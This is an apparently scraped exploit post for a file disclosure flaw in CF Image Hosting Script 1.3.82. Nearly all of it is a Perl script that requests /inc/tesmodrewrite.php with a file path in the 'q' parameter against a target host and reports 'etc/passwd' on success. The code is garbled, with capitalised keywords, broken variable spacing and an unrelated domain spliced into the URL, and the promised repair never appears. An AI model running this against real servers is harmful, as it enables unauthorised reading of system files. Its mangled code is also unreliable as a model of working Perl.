CF Image Hosting Script 1.3.82 file leakage and repair

 

#! /Usr/bin/perl

 

# CF Image Hosting Script 1.3.82 File Disclosure Exploit

# Bugfounder and Exploitcoder: bd0rk

Contact: www.sohcrew.school-of-hack.net www.2cto.com # eMail: bd0rk [at] hackermail.com

Affected program: CF Image Hosting Script 1.3.82

Developer: http://www.phpkode.com

: Http://phpkode.com/download/p/CF_Image_Hosting_v1.3.zip

 

The problem code is located in line 28 of/inc/tesmodrewrite. php.

# Echo "Current URL:". $ _ GET ['q'];

 

# Tested on Ubuntu-Linux

 

Use LWP: Simple;

Use LWP: UserAgent;

 

Sub help ()

{

Print "Sploit: perl $0 [targethost]/dir/\ n ";

}

 

Print "\ nCF Image Hosting Script 1.3.82 File Disclosure Exploit \ n ";

Print "\ By bd0rk bd0rk [at] hackermail.com \ n ";

 

($ Inc, $ targethost, $ dir, $ file,) = @ ARGV;

 

$ Inc = "/inc /";

$ File = "tesmodrewrite. php? Q = [APossibleFile] ";

My $ url = "http: // www.2cto.com". $ targethost. $ dir. $ inc. $ file;

 

My $ useragent = LWP: UserAgent-> new ();

My $ req = $ useragent-> get ($ url, ": content_file" => "[APossibleFile]");

 

If ($ req-> is_success)

 

{

 

Print "$ url <= H3h3! \ N ";

Print "etc/passwd \ n ";

 

Exit ();

}

Else

{

Print "Sploit $ url Mhhh! \ N [!] ". $ Req-> status_line. \ n ";

 

Exit ();

}